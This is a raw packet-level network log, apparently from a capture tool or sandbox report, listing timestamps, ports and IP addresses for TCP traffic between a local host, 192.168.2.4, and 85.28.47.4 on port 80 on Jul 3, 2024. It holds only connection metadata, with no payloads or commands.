Jul 3, 2024 23:59:05.606128931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.606224060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606240034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606251001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606261969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606262922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.606271982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.606290102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.606378078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606394053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606405020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606415033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606417894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.606426001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606441975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.606470108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.606610060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606621981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606630087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606645107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606652975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.606657028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606662989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.606667995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.606690884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.606718063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.619235039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619246006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619261026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619271040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619282007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619287014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.619327068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.619350910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.619385958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619398117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619407892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619430065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.619442940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.619554996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619573116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619582891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619592905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619597912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.619611025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619612932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.619622946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619648933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.619659901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.619822979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619834900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619843960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619853973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619863987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.619870901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.619894028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.619915009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.620142937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.620153904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.620163918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.620173931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.620183945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.620187044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.620196104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.620202065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.620227098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.620242119 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.620310068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.620321035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.620356083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.620445013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.620456934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.620491028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.620502949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.620790005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.620800018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.620810032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.620819092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.620829105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.620841026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.620857954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.620876074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.686613083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.686635971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.686645031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.686674118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.686734915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.686744928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.686757088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.686794043 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.686817884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.686840057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.686851978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.686881065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.686892033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.686909914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.686948061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.686959028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.687005043 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.687027931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.687041044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.687051058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.687062025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.687066078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.687097073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.687196970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.687232018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.687232018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.698290110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698337078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698347092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.698348045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698378086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.698405981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.698431969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698442936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698451996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698477983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.698498011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.698502064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698513985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698542118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.698554993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.698569059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698579073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698610067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.698621988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.698704004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698714972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698725939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698735952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698745966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698749065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.698765993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.698791981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.698859930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698877096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698888063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698896885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.698900938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.698911905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.698934078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699012041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699023962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699033976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699043989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699080944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699121952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699155092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699155092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699234962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699249983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699259043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699268103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699276924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699278116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699290037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699290991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699316025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699331999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699395895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699438095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699470997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699501038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699511051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699537992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699548006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699558973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699568033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699589014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699599981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699618101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699645996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699656963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699666977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699688911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699712992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699743032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699754953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699765921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699784040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699810028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699860096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699903011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699951887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699968100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699979067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.699989080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.699990034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700001955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.700001955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700020075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.700043917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.700182915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700195074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700203896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700213909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700222969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700226068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.700246096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.700273037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.700354099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700371027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700381041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700391054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700401068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.700402021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700407982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.700428009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.700450897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.700520039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700531960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700562954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.700572968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.700644970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700655937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700664997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700675964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700685978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700686932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.700696945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700702906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.700727940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.700737000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.700843096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.700884104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.711642981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.711653948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.711664915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.711699009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.711711884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.711723089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.711734056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.711735964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.711746931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.711760044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.711772919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.711800098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.711891890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.711904049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.711914062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.711922884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.711934090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.711941004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.711946011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.711961031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.711983919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.712167978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712177992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712188005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712198973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712208986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712208986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.712219954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712232113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.712256908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.712296963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712308884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712337017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.712363958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.712452888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712470055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712479115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712508917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.712508917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.712517977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712528944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712538958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712552071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.712557077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712568045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712570906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.712579012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712594032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.712603092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.712630033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.712789059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712800026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712810040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712820053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712830067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.712831974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.712846994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.712871075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.780685902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.780761003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.780858040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.780867100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.780877113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.780886889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.780900955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.780903101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.780915976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.780925989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.780935049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.780961037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.780972004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.780976057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.781002045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.781021118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.781116962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.781126976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.781136036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.781143904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.781153917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.781162024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.781162977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.781177998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.781203032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.792395115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.792444944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.792449951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.792455912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.792500973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.792540073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.792551041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.792560101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.792567968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.792572021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.792572975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.792577028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.792608023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.792624950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.792731047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.792741060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.792751074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.792764902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.792769909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.792793036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.792793036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.792800903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:05.792886972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:05.792896986 CEST	80	49730	85.28.47.4	192.168.2.4
